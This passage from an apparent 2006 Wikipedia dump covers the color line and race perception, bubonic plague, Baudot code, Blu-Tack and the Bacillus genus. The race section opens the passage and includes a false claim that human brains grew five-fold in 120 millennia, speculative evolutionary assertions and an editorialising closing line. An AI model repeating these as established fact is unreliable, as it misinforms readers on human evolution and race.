According to [[Harry Hoetink]], one can predict where each New World culture draws the color-line based upon its own colonial history. He suggests that three similar socioeconomic classes formed in most settlements during the New World colonial period. Once the importation of African labor became widespread, Western Hemisphere colonies that lacked significant numbers of Native Americans tended to fall into a three-tiered social structure. The top layer comprised a small number of European land-owning planters who produced agricultural products for export using large numbers of African slaves. The slaves themselves made up the bottom layer. Finally, in most European colonies (Barbados being the exception), an intermediate group arose, composed of free subsistence farmers, who were allowed to opt out of the plantation economy in return for serving as militia in the event of slave insurrection. In each colony, the color line came to be defined by the appearance of typical members of the intermediate class. Anyone more European-looking was seen as White; anyone darker was considered Black. Historical contingency decreed that this intermediate group would have a large admixture of African appearance in [[Santo Domingo]], less so in [[Puerto Rico]] and [[Brazil]], even less in [[Jamaica]] and [[Trinidad]], and be completely European-looking in [[Virginia]] and [[South Carolina]]. Hoetink demonstrated that, &quot;One and the same person may be considered white in the [[Dominican Republic]] or Puerto Rico, and 'coloured' in Jamaica, [[Martinique]], or [[Curaçao]]; this difference must be explained in terms of socially determined somatic norms. The same person may be called a 'Negro' in [[Georgia (U.S. state)|Georgia]]; this must be explained by the historical evolution of social structure in the [[Southern United States]].&quot;

In addition, researchers in the cognitive sciences have shown that cultures do not ostracize out-groups because they look different; they look different because they are out-groups. Children of each culture can &quot;correctly&quot; (for their own society) categorize strangers by age three. They can reliably match each &quot;racial&quot; category with its social term or word by about age five. Most American children (about 70 percent) internalize the [[hypodescent]] rule by about age ten. And they can confabulate a rationalization for [[hypodescent]] by early adulthood.&lt;sup&gt;[[#3|3]]&lt;/sup&gt; Although the number and meaning of &quot;racial&quot; categories and of the traits that delineate them vary dramatically among cultures, children learn their own culture's rules and categories shortly after learning to walk. Clearly, the cognitive system employed is as adaptable to culture, and yet is as hard-wired in the brain, as is language itself.

A series of experiments conducted by [[Robert Kurzban]], subsequently confirmed by [[John Tooby]] and [[Leda Cosmides]] show why this is. Sex, age, and &quot;otherness&quot; are the three fundamental attributes that the mind encodes in an automatic and mandatory manner. For example, long after all memory has been lost of the occupation, name, clothing, or hair of a stranger to which one was briefly exposed, one can recall that the individual was &quot;a White woman&quot; or a &quot;Black male child.&quot; But age and sex are independent of culture. &quot;Otherness&quot; is not. Kurzban and later investigators demonstrated that the ability to recall a stranger's &quot;otherness&quot; actually detects a culture's social coalitions or alliances. Over the past hundred millennia or so, humans have become adept at detecting competing social groups. The discrimination of facial features enables a child to identify whether a stranger is genetically related (a member of the child's extended family). This ability is strongly selected because one is less likely to be killed and devoured by a relative than by a member of an opposing group.  Recall that we (genus ''Homo'') evolved as hunting apes for two million years before our brains expanded five-fold in the past 120 millennia (species ''sapiens''). One must take the long view when studying adaptive cognition.

Skin tone, hair kinkiness, and the like are the clues with which Americans (and, to a lesser extent other Europeans, especially British) identify a stranger's &quot;otherness&quot; and so determine whether a stranger &quot;looks black&quot; to them. But other cultures use clues that are unrelated to the U.S. endogamous color line: height, hair-length, clothing, facial features (such as hooked nose versus straight nose or the shape of the eye), even a person's smell (which relates to diet). This point is easily misunderstood and has even been reported as suggesting that humans are hard-wired to recognize &quot;race.&quot;  The fact is that in no culture does the need/ability to recall a stranger's &quot;otherness&quot; correlate with Americans' unique perception of &quot;race,&quot; unless you stretch the meaning of &quot;race&quot; to denote simply &quot;otherness.&quot; In the United States, for example, where the term &quot;race&quot; is applied to differentiate those of Asian ancestry, subjects quickly forget whether the stranger was [[Japanese people|Japanese]], [[Native American]], [[Hindu]], [[Irish people|Irish]], [[Italian people|Italian]], or [[Pakistani]]. But Americans (only) do not forget on which side of the U.S. endogamous color line he seemed to be. In short, it is easily demonstrated within minutes that subjects notice and subconsciously remember even the most apparently insignificant differences in facial features if they happen to correlate with &quot;otherness.&quot; On the other hand, even glaring facial differences, such as skin-tone darkness, are quickly forgotten if they are irrelevant to &quot;otherness.&quot; In short, &quot;who looks black&quot; is answered differently by different people; but ultimately, it is white people who DECIDE who is white, and by doing so, DECIDE who is nonwhite. Therfore, logically speaking, it is white people who DECIDE who is black.

==Footnotes==
#&lt;small id=&quot;1&quot;&gt;Pier M. Larson, [http://backintyme.com/rawdata/larson01.pdf Reconsidering Trauma, Identity, and the African Diaspora: Enslavement and Historical Memory in Nineteenth-Century Highland Madagascar], ''William and Mary Quarterly'' 56, no. 2 (1999): 335-62.
#&lt;small id=&quot;2&quot;&gt;This section was adapted from Chapter 3 of Frank W. Sweet, ''Legal History of the Color Line: The Rise and Triumph of the One-Drop Rule'' (Palm Coast FL: Backintyme, 2005) ISBN 0939479230, which contains the citations and references. An abridged version, with endnotes is available online at [http://backintyme.com/Essay040717.htm The Perception of &quot;Racial&quot; Traits].
#&lt;small id=&quot;3&quot;&gt;The term ''hypodescent'' was coined by the late University of Florida anthropologist, Marvin Harris in ''Patterns of Race in the Americas'' (Westport CT, 1964), page 37. It means that, to the extent that blood fraction influences perceived U.S. endogamous group membership, the dividing line is not 50-50. Even a slight fraction of known Black ancestry usually consigns an English-speaking American to the Black group. This contrasts with other New World countries where one is categorized by preponderance of appearance&amp;mdash;you are White if you look mostly White. The original experiments on childhood internalization of the &quot;race&quot; notion are reported in Lawrence A. Hirschfeld,[http://backintyme.com/rawdata/hirschfeld02.pdf &quot;The Inheritability of Identity: Children’s Understanding of the Cultural Biology of Race,&quot;] ''Child Development'', 66 (no. 5, October 1995), 1418-37.

==See also==
*[[African diaspora]]
*[[Colored]] people in the [[United States]]
*[[Coloured]] people of [[South Africa]]
*[[Creole peoples]]
*[[Race]]
*[[Race and Intelligence]]
*[[Racial segregation]]
*[[Negrito]]
*[[Negro]]
*[[Nilotic]]
*[[White (people)]]
*[[Negroid]]
&lt;noinclude&gt;&lt;/noinclude&gt;===Groups===
*[[African American]]
*[[Afro-Brazilian]]
*[[Afro-Cuban]] 
*[[Afro-Ecuadorian]]
*[[Afro-German]]
*[[Afro-Irish]]
*[[Afro-Latin American]]
*[[Afro-Mexican]]
*[[Afro-Peruvian]]
*[[Afro-Trinidadian]] 
*[[African American culture]] 
*[[African American music]] 
*[[Black British]]
*[[African Caribbean]]
*[[Black Canadian]]
*[[Siddi]]
*[[Dalit]]
*[[Black People]]

==External links== 
*[http://www.pbs.org/wgbh/aia/home.html PBS Africans in America series]
*[http://www.nationalgeographic.com/ngm/0009/feature3/zoom3.html National Geographic pictures of the Rana Tharu of Nepal]
*[http://www.jphpk.gov.my/English/May04%2012.htm Sheedi people of India and Pakistan]
*[http://www.kamat.com/kalranga/people/siddi.htm Siddi people of India]
*[http://www.npr.org/templates/story/story.php?storyId=4271003 Black Iraqis and African heritage in an Islamic State.]
*[http://news.bbc.co.uk/1/hi/world/south_asia/1077982.stm India's Lost Africans]  BBC News of African oriented people in east India and Pakistan
*[http://news.nationalgeographic.com/news/2001/06/0607_wiregullah.html Gullah culture of South Carolina.]

===Historical links===

[[Category:African American culture]]
[[Category:African-American history]]
[[Category:African diaspora]]
[[Category:Ethnic groups]]

[[de:Schwarzafrikaner]]
[[fr:race noire]]
[[he:שחורים]]</text>
    </revision>
  </page>
  <page>
    <title>Bubonic plague</title>
    <id>4746</id>
    <revision>
      <id>42151075</id>
      <timestamp>2006-03-04T03:53:13Z</timestamp>
      <contributor>
        <ip>68.190.217.176</ip>
      </contributor>
      <comment>/* Infection/transportation */</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |      
  Name        = Plague |
  ICD10       = A20 |
  ICD9        = {{ICD9|020}} |
}}
[[image:Doktorschnabel 430px.jpg|thumb|250px|&quot;[[Der Doctor Schnabel von Rom]]&quot; (English: &quot;The Doctor Beak of Rome&quot;) engraving by [[Paul Fürst]] (after J Columbina). The beak is a primitive [[gas mask]], stuffed with substances (such as [[spices]] and [[herbs]]) thought to ward off the plague.]]

==Types==
[[ICD-10]] codes are provided below.

* (A20.0) bubonic plague [[infectious disease]] that is believed to have caused several [[epidemic]]s or [[pandemic]]s throughout history. The disease is caused by the bacterium ''[[Yersinia pestis]]''. Bubonic plague is the most common form of plague, and is characterized by swollen, tender, inflamed [[Lymph node|lymph gland]]s (called '''buboes''').
* (A20.7) '''Septicemic plague''' occurs when plague [[bacterium|bacteria]] multiply in the [[blood]].
* (A20.2) '''Pneumonic plague''' occurs when the [[lung]]s are infected.

== Infection/transportation ==   
Bubonic plague is primarily a disease of [[rodent]]s, particularly [[marmot]]s (in which the most virulent strains of plague are primarily found), but also [[Black Rat]]s, [[prairie dog]]s, [[chipmunk]]s, [[squirrel]]s and other similar large rodents. [[Human]] infection most often occurs when a person is [[bite|bitten]] by a [[rat flea]] (''Xenopsylla cheopsis'') that has fed on an infected rodent. The bacillus multiplies in the stomach of the flea, blocking it. When the flea next bites a [[mammal]], blood consumed by the flea is regurgitated along with the bacillus into the bloodstream of the bitten animal.  Any serious outbreak of plague is started by other disease outbreaks in the rodent population.  During these outbreaks, infected fleas that have lost their normal hosts seek other sources of blood.

In [[1894]], bacteriologists [[Alexandre Emile John Yersin|Alexandre Yersin]] and [[Shibasaburo Kitasato]] independently isolated the responsible bacterium and Yersin further determined that rodents were the likely common mode of transmission. The disease is caused by the [[bacteria]] ''[[Yersinia pestis]]''.

== Symptoms and treatment ==
The disease becomes evident 2&amp;ndash;7 days after the infection. Initial symptoms are chills, fever, diarrhea, headaches, and the formation of buboes. The buboes are formed by the infection of the [[lymph nodes]], which swell and become prominent. If unchecked, the bacteria infects the bloodstream (septicemic plague), and can progress to the lungs (pneumonic plague).  If untreated, the rate of mortality for bubonic plague is 30-75%.  

In [[septicemia|septicemic]] plague there is bleeding into the skin and other organs, which creates black patches on the skin. Untreated septicemic plague is universally fatal, but early treatment with [[antibiotics]] (usually [[streptomycin]] or [[gentamicin]]) is effective, reducing the mortality rate to around 15% (USA 1980s). People who die from this form of plague often die on the same day symptoms first appear.

With [[pneumonia|pneumonic]] plague infecting [[lung]]s comes the possibility of person-to-person transmission through respiratory droplets. The incubation period for pneumonic plague is usually between two and four days, but can be as little as a few hours. The initial symptoms of headache, weakness, and coughing with [[hemoptysis]] are indistinguishable from other respiratory illnesses. Without diagnosis and treatment, the infection can be fatal in one to six days; mortality in untreated cases may be as high as 95%. The disease can be effectively treated with [[antibiotic]]s.

==History==
=== Historical epidemics ===

The first Western literary account of a possible outbreak of plague is found in the book of I Samuel 5:6 of the [[Hebrew Bible]].  In this account, the [[Philistines]] of [[Ashdod]] were struck with a plague for the crime of stealing the [[Ark of the Covenant]] from the Children of Israel.  These events have been dated to approximately the second half of the eleventh century B.C.  The word &quot;[[hemorrhoid]]s&quot; is used in [[English language|English]] [[translation]]s to describe the sores that came upon the Philistines. The [[Hebrew language|Hebrew]], however, can be interpreted as &quot;swelling in the secret parts&quot;.  The account indicates that the Philistine city and its political territory were struck with a &quot;ravaging of mice&quot; and a plague, bringing death to a large segment of the population.   

In the second year of the [[Peloponnesian War]] (430 B.C.), [[Thucydides]] described the coming of an epidemic disease which began in [[Ethiopia]], passed through [[Egypt]] and [[Libya]], and then came to the Greek world.  [[Athens]] was decimated by [[Plague_of_Athens|this plague]], losing possibly one-third of its population, including [[Pericles]] (Speilvogal, J, 1999, pp. 56). The loss of population did not affect the progress and outcome of the war.  This epidemic has long been considered an outbreak of bubonic plague. However, from Thucydides' description, some modern scholars dispute the assignment of plague, feeling that [[smallpox]] or [[measles]] may be better candidates.
     
In the first century AD, Rufus of Ephesus, a Greek anatomist,  refers to an outbreak of plague in [[Libya]], [[Egypt]], and [[Syria]].  He records that Alexandrian doctors named Dioscorides and Posidonius described symptoms including acute fever, pain, agitation, and delirium.  Buboes&amp;mdash;large, hard, and non-suppurating&amp;mdash;developed behind the knees, around the elbows, and &quot;in the usual places.&quot;  The death toll of those infected was very high.  Rufus also wrote that similar buboes were reported by a Dionysius Curtus, who may have practiced medicine in [[Alexandria]] in the third century B.C. If this is correct, the eastern [[Mediterranean]] world may have been familiar with bubonic plague at that early date. (ref. Simpson, W.J., Patrick, A.)

The last significant European outbreak of bubonic plague occurred in [[Russia]] in A.D. 1877&amp;ndash;1889 in rural areas near the [[Ural Mountains]] and the [[Caspian Sea]].  This outbreak is sometimes seen as an extension of the [[Third Pandemic]] (see below).  Efforts in hygiene and patient isolation reduced the spread of the disease, with approximately 420 deaths in the region. Significantly, the region of [[Vetlianka]] in this area is near a population of the &quot;bobak&quot;, a type of small [[marmot]] considered a very dangerous plague reservoir.

=== Historical pandemics ===

====Plague of Justinian====      
:''For more complete information, see [[Plague of Justinian]].''
:''See also [[Climate changes of 535-536]]''.

The '''Plague of Justinian''' is the first known [[pandemic]] on record, and marks the first firmly recorded pattern of bubonic plague in A.D. 541&amp;ndash;542. This outbreak is thought to have originated in Ethiopia or Egypt.  The huge city of [[Constantinople]] imported massive amounts of grain, mostly from Egypt, to feed its citizens.  The grain ships may have been the source of contagion for the city, with massive public granaries nurturing the rat and flea population. At its peak the plague was killing 5,000 people in [[Constantinople]] every day and ultimately destroyed perhaps 40 percent of the city's inhabitants. It went on to destroy up to a quarter of the human population of the eastern Mediterranean.

In A.D. 588 a second major plague wave spread through the Mediterranean into what is now France.  A maximum of 25 million dead is considered a reasonable estimate.

====Black Death====
:''For more complete information, see [[Black Death]].''

During the mid-[[14th century]] C. E., the '''Black Death''', a massive and deadly epidemic, swept through [[Eurasia]], killing approximately one-third of the population (according to some estimates) and changing the course of Asian and European history. The 200 million victims, throughout the many years of infection, constituted the largest death toll from any known epidemic. Many scientists and historians believe the Black Death was an incidence of bubonic plague. A strong presence of the more contagious pneumonic and septicemic varieties increased the pace of infection, spreading the disease deep into inland areas of the continents.

Plague continued to strike parts of [[Europe]] throughout the [[15th century]], the [[16th century]] and the [[17th century]] with varying degrees of intensity and fatality. Researchers still do not agree on why large outbreaks of the infection have not returned to Europe; however, changes in hygiene habits and strong efforts within public health and sanitation probably had a significant impact on the rate of infection from the infectuous disease.

====Third Pandemic==== 
:''For more complete information see [[Third Pandemic]].''
The [[Third Pandemic]] began in [[China]] in 1855, spreading the bubonic plague to all inhabited continents, and ultimately killing more than 12 million people in [[India]] and China alone.  Casualty patterns indicate that waves of this pandemic may have been from two different sources.  The first was primarily bubonic and was carried around the world through ocean-going trade, transporting infected persons, rats, and cargos harboring fleas.  The second, more virulent strain was primarily pneumonic in character, with a strong person-to-person contagion. This strain was largely confined to [[Manchuria]] and [[Mongolia]].  Researchers during the &quot;Third Pandemic&quot; identified plague vectors and the plague bacillus, leading in time to modern treatment methods.

=== Plague as a biological weapon  ===

Plague has a long history as a [[biological weapon]].  Historical accounts from [[medieval Europe]] detail the use of infected animal carcasses, such as cows or horses, and human carcasses, by [[Mongols]], [[Turkic peoples|Turks]] and other groups, to contaminate enemy water supplies. Plague victims were also reported to have been tossed by [[catapult]] into cities under siege.

During [[World War II]], the [[Japanese Army]] developed weaponized plague based on the breeding and release of large numbers of fleas. During the Japanese occupation of [[Manchuria]], [[Unit 731]] deliberately infected [[civilian]]s and [[Prisoner of war|prisoners of war]] with the plague bacillus.  These subjects, called &quot;logs&quot;, were then studied by [[dissection]], some while still living and conscious.  After World War II, both the [[United States]] and the [[Soviet Union]] developed means of weaponizing pneumonic plague. Experiments included various delivery methods, vacuum drying, sizing the bacillus, developing strains resistant to antibiotics, combining the bacillus with other diseases, such as [[diphtheria]], and genetic engineering. Scientists who worked in [[Soviet Union|USSR]] bio-weapons programs have stated that the Soviet effort was formidable and that large stocks of weaponized plague bacillus were produced.  Information on many of the Soviet projects is largely unavailable.  Aerosolized pneumonic plague remains the most significant threat.

[[Image:World distribution of plague 1998.PNG|thumb|right|320px|Worldwide distribution of plague infected animals 1998]]

=== Contemporary cases ===
The disease still exists in wild animal populations from the [[Caucasus Mountains]] east across southern and central [[Russia]], to [[Kazakhstan]], [[Mongolia]], and parts of [[China]]; in [[Southwest Asia|Southwest]] and [[Southeast Asia]], [[Southern Africa|Southern]] and [[East Africa]] (including the island of [[Madagascar]]); in [[North America]], from the [[Pacific ocean|Pacific Coast]] eastward to the western [[Great Plains]], and from [[British Columbia]] south to [[Mexico]]; and in [[South America]] in two areas: the [[Andes]] mountains and [[Brazil]]. There is no plague-infected animal population in [[Europe]] or [[Australia]].

Globally, the [[World Health Organization]] reports 1,000 to 3,000 human cases of plague every year.

On [[2005-09-15]], [[ABC News]] reported[http://abcnews.go.com/Health/story?id=1128953] that three mice infected with the bacteria responsible for [[bubonic plague]] apparently disappeared from a laboratory. The mice were unaccounted-for at the Public Health Research Institute, which is on the campus of the [[University of Medicine and Dentistry of New Jersey]] and conducts anti-[[bioterrorism]] research for the [[United States]] federal government.

=== Uses in literature ===
* ''[[The Decameron]]'' by [[Giovanni Boccaccio]] (1350). Takes place in Florence in [[1348]], during the outbreak of the &quot;[[Black Death]]&quot;, widely believed to be Bubonic Plague.
* ''[[The Plague]]'' by [[Albert Camus]] (1947). An [[existentialism|existentialist]] novel centered around an outbreak of the plague.
* ''[[A Journal of the Plague Year]]'' by [[Daniel Defoe]] (1722). A fictional first hand account of the [[London]] outbreak of [[1665]].
* ''[[The Masque of the Red Death]]'' (1842) by [[Edgar Allan Poe]] includes a vivid description  of  pestilence conventionally agreed to be septemic plague. 
* ''[[Doomsday Book]]'' by [[Connie Willis]] (1992). A [[Hugo award]] and [[Nebula award]]-winning historical [[science fiction]] novel, in which a time-traveler inadvertently ends up in the plague-ridden [[England]] of [[1348]].
* ''[[The Years of Rice and Salt]]'' by [[Kim Stanley Robinson]] (2002). Presents an alternate history of the world where the population of Europe is obliterated by the ''[[Black Death]]'' setting the stage for a world without Europeans and Christianity.

== References ==
*Biraben, Jean-Noel. ''Les Hommes et la Peste'' The Hague 1975.
*Cantor, Norman F., ''In the Wake of the Plague: the Black death and the World It Made'' New York: Harper 2001.
*  de Carvalho, Raimundo Wilson; Serra-Freire, Nicolau Maués; Linardi, Pedro Marcos; de Almeida, Adilson Benedito; and da Costa, Jeronimo Nunes (2001). [http://memorias.ioc.fiocruz.br/965/4152.html Small Rodents Fleas from the Bubonic Plague Focus Located in the Serra dos Órgãos Mountain Range, State of Rio de Janeiro, Brazil].  ''Memórias do Instituto Oswaldo Cruz'' '''96'''(5), 603&amp;ndash;609. PMID 11500756.  ''this manuscript reports a census of potential plague vectors (rodents and fleas) in a Brazilian focus region (i.e. region associated with cases of disease); free PDF download''  Retrieved 2005-03-02
* Gregg, Charles T. ''Plague!: The shocking story of a dread disease in America today''. New York, NY: Scribner, 1978, ISBN 0684153726.
* Kelly, John. ''The Great Mortality: An Intimate History of the Black Death, the Most Devastating Plague of All Time''. New York: HarperCollins Publishers Inc., 2005. ISBN 0060006927. 
* McNeill, William H. ''Plagues and People''. New York: Anchor Books, 1976. ISBN 0385121229. Reprinted with new preface 1998.
* Orent, Wendy. ''Plague: The Mysterious Past and Terrifying Future of the World's Most Dangerous Disease''. New York: Free Press, 2004. ISBN 0743236858.
* Patrick, Adam.  &quot;Disease in Antiquity:  Ancient Greece and Rome,&quot; in ''Diseases in Antiquity'', editors: [[Don Brothwell]] and A. T. Sandison.  Springfield, Illinois; Charles C. Thomas, 1967.
*Platt, Colin. ''King Death: The Black Death and its Aftermath in Late-Medieval England'' Toronto University Press, 1997.
* Simpson, W. J.  ''A Treatise on Plague''.  Cambridge, England:  Cambridge University Press, 1905.
* Speilvogal, Jackson J. ''Western Civilization: A Brief History Vol. 1: to 1715''.  Belmont, Calif.: West/Wadsworth, 1999, Ch. 3, p. 56, paragraph 2. ISBN 0534560628.

* ABC News, [http://abcnews.go.com/Health/story?id=1128953 Plague Infected Mice Missing From N.J. Lab], [[2005-09-15]]

==See also==
*[[Plague]] ''(disambiguation page)''
*[[Black Death]]
*[[Epidemic]]
*[[Medieval demography]]
*[[Plague of Justinian]]
*[[Third Pandemic]]
*[[Ring around the rosey]]
*[[List of Bubonic plague outbreaks]]
*[[Plague columns]]

==External links==
{{wikinewspar|Plague kills scores in Democratic Republic of Congo}}
*[[World Health Organization]]
**[http://www.who.int/topics/plague/en/ Health topic]
**[http://www.who.int/csr/disease/plague/en/ Communicable Disease Surveillance &amp; Response] - Impact of plague &amp; Information resources
*[[Centers for Disease Control and Prevention]]
**[http://www.cdc.gov/ncidod/dvbid/plague/index.htm CDC Plague] map world distribution, publications, information on bioterrorism preparedness and response regarding plague 
**[http://www.cdc.gov/ncidod/diseases/submenus/sub_plague.htm Infectious Disease Information] more links including travelers' health
*[http://www.emedicine.com/EMERG/topic428.htm Symptoms, causes, pictures of bubonic plague]
*[http://www.twoop.com/medicine/archives/2005/10/bubonic_plague.html Bubonic Plague] Timeline
* [http://www.pbs.org/wnet/secrets/case_plague/ Secrets of the Dead . Mystery of the Black Death] [[PBS]]

[[Category:Infectious diseases]]
[[Category:Epidemics]]
[[Category:Pandemics]]
[[Category:Biological weapons]]
[[Category:Zoonoses]]

&lt;!-- interwiki --&gt;

{{Link FA|de}}
{{Link FA|he}}
{{Link FA|pt}}
{{Link FA|da}}

[[ca:Pesta]]
[[cs:Mor]]
[[da:Byldepest]]
[[de:Pest]]
[[es:Peste]]
[[eo:Pesto]]
[[fr:Peste]]
[[hi:प्लेग]]
[[hr:Kuga]]
[[it:Peste]]
[[he:דבר]]
[[lt:Maras]]
[[hu:Pestis]]
[[nl:Pest (ziekte)]]
[[no:Pest]]
[[nn:Pest]]
[[pl:Dżuma (choroba)]]
[[pt:Peste negra]]
[[ru:Чума]]
[[simple:Bubonic plague]]
[[sl:Kuga]]
[[sv:Pest]]
[[vi:Dịch hạch]]
[[uk:Чума]]</text>
    </revision>
  </page>
  <page>
    <title>Blue Tac</title>
    <id>4747</id>
    <revision>
      <id>15903004</id>
      <timestamp>2004-12-21T23:43:01Z</timestamp>
      <contributor>
        <username>Dtcdthingy</username>
        <id>140524</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Blu-Tack]]</text>
    </revision>
  </page>
  <page>
    <title>Baudot code</title>
    <id>4748</id>
    <revision>
      <id>41777432</id>
      <timestamp>2006-03-01T17:57:47Z</timestamp>
      <contributor>
        <username>Haham hanuka</username>
        <id>111674</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Baudot code''', named after its [[inventor]] [[Émile Baudot]], is a [[character encoding|character set]] predating [[EBCDIC]] and [[ASCII]] and used originally and primarily on [[teleprinter|teleprinters]]. 

Baudot's original code, developed around [[1874]] is known as International Telegraph Alphabet No 1, and is no longer used. It was sent using a five-key [[alphanumeric keyboard|keyboard]] where each key represented one [[bit]] of the five state signal.  A mechanical wiper would scan the keyboard state and unlock the keys allowing the operator to enter the next character. 

Around [[1901]] Baudot's code was modified by Donald Murray (1865-1945) by re-ordering the characters, adding extra characters and shift codes.  Murray's re-ordering of the characters was prompted by his development of a typewriter-like keyboard.  Since the layout of the bits was now disassociated from the keypress of the operator, Murray could arrange his code-set so that the most-used characters resulted in the fewest state transitions, minimizing wear on the equipment. 

A further modification of Murray's code mostly by [[Western Union]] consisted of dropping some characters.  This final modification is what is generally known as the 'Baudot code', also known as the '''International Telegraph Alphabet No 2''' ('''ITA2'''). ITA2 is still used in [[Telecommunications_devices_for_the_deaf|TDD]]s and some [[ham radio]] applications, such as [[radioteletype]] (&quot;RTTY&quot;). 

NOTE: This table presumes the space called &quot;1&quot; by Baudot and Murray is rightmost, and least significant.  The actual order of transmission varied by manufacturer.

[[image:Ita2.png|right|frame|Table of ITA2 codepoints (hexadecimal)]]
In ITA2, characters are expressed using five bits. ITA2 uses two code sub-sets, the &quot;letter shift&quot; (LTRS), and the &quot;figure shift&quot; (FIGS). The FIGS character (11011) signals that the following code is to be interpreted as being in the FIGS set, until this is reset by the LTRS (11111) character.  &quot;ENQuiry&quot; will trigger the other machine's answerback. It means &quot;Who are you?&quot;   

CR is [[carriage return]], LF is [[line feed]], BEL rang a small [[bell (instrument)|bell]] (often used to alert operators to an incoming message), SP is space, and NUL is the [[null character]] (blank tape).

Note: the binary conversions of the codepoints are often shown in reverse order, depending on (presumably) which side you are viewing the papertape from. Note further that the [[control character|&quot;control&quot; character]]s were chosen so that they were either symmetric or in useful pairs so that inserting a tape &quot;upside down&quot; did not result in problems for the equipment and the resulting printout could be deciphered.  Thus FIGS (11011), LTRS (11111) and space (00100) are invariant, while CR (01000) and LF (00010), generally used as a pair, result in the same output when the tape is reversed. LTRS could also be used to overpunch characters to be deleted on a [[punched tape|paper tape]] (much like DEL in 7-bit [[ASCII]]). The sequence ''RYRYRY...'' was often used in test messages. Since R is 01010 and Y is 10101, the sequence exercises much of a teleprinter's mechanical components at maximum stress.

US American implementations of Baudot code may differ in the use of ENQ, +, and f,g,h on the FIGS layer. The above table represents the official ITA2 code.

The Russian version of Baudot code ([[MTK-2]]) used three shift modes, the [[Cyrillic letter]] mode was activated by the character (00000) unused in original ITA2.

==References==
*[http://www.nadcomm.com/fiveunit/fiveunits.htm Five-unit codes]
*[http://www.wps.com/projects/codes/index.html#BAUDOT An examination of Baudot code in respect to other character codes] by [[Tom Jennings]]
*[http://www.sensi.org/~alec/locale/other/mtk-2.html MTK-2 code table]

== See also ==
*[[quinary]]

{{FOLDOC}}

[[Category:Radio modulation modes]]
[[Category:Character sets]]
[[Category:Telecommunications history]]

[[de:Baudot-Code]]
[[es:Código Baudot]]
[[fr:Code Baudot]]
[[he:קוד בודו]]
[[it:Codice Baudot]]
[[nl:Baudotcode]]
[[ja:Baudot Code]]
[[ru:Код Бодо]]
[[fi:Baudot-koodi]]
[[sv:CCITT nr 2]]</text>
    </revision>
  </page>
  <page>
    <title>Blu-Tack</title>
    <id>4749</id>
    <revision>
      <id>41047457</id>
      <timestamp>2006-02-24T18:39:48Z</timestamp>
      <contributor>
        <ip>85.197.143.234</ip>
      </contributor>
      <text xml:space="preserve">'''Blu-Tack''' is a reusable [[putty]]-like pressure-sensitive [[adhesive]] often used for attaching posters to walls.  The original version was blue, but a myriad of colours are now available. It is based on a formulation consisting of synthetic [[rubber]], [[polymer]]s, oil and inorganic fillers.

Blu-Tack is a trademark of Australian company [[Bostik Findley]], a subsidiary of French mineral oil company [[Total S.A|Total]].

Similar products from other manufacturers include &quot;Buddies&quot; (pink), &quot;Pritt-Tack&quot;, &quot;Tac &lt;nowiki&gt;'N&lt;/nowiki&gt; Stick&quot;, and it is also called &quot;Sticky Tack.&quot; 

==External links==
*[http://www.bostikfindley.com.au/pdf/datasheet/bostik_blu_tack.pdf Bostik Blu-Tack data sheet] (PDF)

[[Category:Adhesives]]

[[de:Blu-Tack]]
[[sv:Häftmassa]]</text>
    </revision>
  </page>
  <page>
    <title>Bodhidarma</title>
    <id>4750</id>
    <revision>
      <id>15903007</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bodhidharma]]
</text>
    </revision>
  </page>
  <page>
    <title>Bacillus</title>
    <id>4751</id>
    <revision>
      <id>41071132</id>
      <timestamp>2006-02-24T21:41:52Z</timestamp>
      <contributor>
        <ip>64.187.16.34</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = lightgrey
| name = ''Bacillus''
| image = Bacillus subtilis Gram.jpg
| image_width = 220px
| image_caption = ''[[Bacillus subtilis]]'', Gram stained
| regnum = [[Bacterium|Bacteria]]
| divisio = [[Firmicutes]]
| classis = [[Bacilli]]
| ordo = [[Bacillales]]
| familia = [[Bacillaceae]]
| genus = '''''Bacillus'''''
| genus_authority = Cohn, 1872
| subdivision_ranks = Species
| subdivision = 
''[[Bacillus anthracis]]''&lt;br&gt;
''[[Bacillus cereus]]''&lt;br&gt;
''[[Bacillus coagulans]]''&lt;br&gt;
''[[Bacillus natto]]''&lt;br&gt;
''[[Bacillus subtilis]]''&lt;br&gt;
''[[Bacillus thuringiensis]]''&lt;br&gt;
etc.
}}

'''''Bacillus''''' is a [[genus]] of rod-shaped [[bacterium|bacteria]].  The word &quot;bacillus&quot; is also used to describe any rod-shaped bacterium, and in this sense, bacilli are found in many different groups of bacteria.  When the particular genus ''Bacillus'' is referred to, it is capitalized and italicized.  Likewise, [[Bacilli]] refers to the particular class ''Bacillus'' belongs to, while bacilli are any rod-shaped bacteria.

The genus ''Bacillus'' belongs to the [[Firmicutes]], and like most other members has a [[Gram-positive]] stain.  They are either obligate or facultative [[aerobe]]s, and test positive for [[catalase]].  When conditions are stressful, the cells produce oval [[endospore]]s that can stay dormant for extended periods.  These characters originally defined the genus, but not all such species are closely related, and many have been moved to other genera.

''Bacillus'' are ubiquitous in nature, including both free-living and pathogenic species.  Two species are considered medically significant: ''[[Bacillus anthracis|B. anthracis]]'', which causes [[anthrax]], and ''[[Bacillus cereus|B. cereus]]'', which causes a [[foodborne illness]] similar to that of ''[[Staphylococcus]]''. A third species, ''[[B. thuringiensis|B. thuringiensis]]'', is an important insect pathogen, and is sometimes used to control insect pests.

The [[type species]] is ''[[Bacillus subtilis|B. subtilis]]'', an important [[model organism]].  It is also a notable food spoiler, as is ''[[Bacillus coagulans|B. coagulans]]''.

An easy way to isolate ''Bacillus'' is by placing non-sterile soil in a [[test tube]] with water, shaking, placing in melted [[mannitol salts agar]], and incubating at room temperature for at least a day.  Colonies are usually large, spreading and irregularly-shaped.  Under the microscope, the ''Bacillus'' appear as rods, and a substantial portion usually contain an oval [[endospore]] at one end, making it bulge.

== See also ==
* ''[[Paenibacillus]]'', a genus of bacteria that was formerly included in ''Bacillus''

[[Category:Bacteria]][[Category:Firmicutes]]

[[de:Bazillus]]
[[es:Bacilo]]
[[eo:Bacilo]]
[[fr:Bacillus]]
[[he:Bacillus]]
[[pt:Bacilo]]
[[sv:Bacill]]
[[vi:Trực khuẩn]]
[[tr:Bacillus]]</text>
    </revision>
  </page>
  <page>
    <title>Brasília</title>
    <id>4752</id>
    <revision>
      <id>40994593</id>
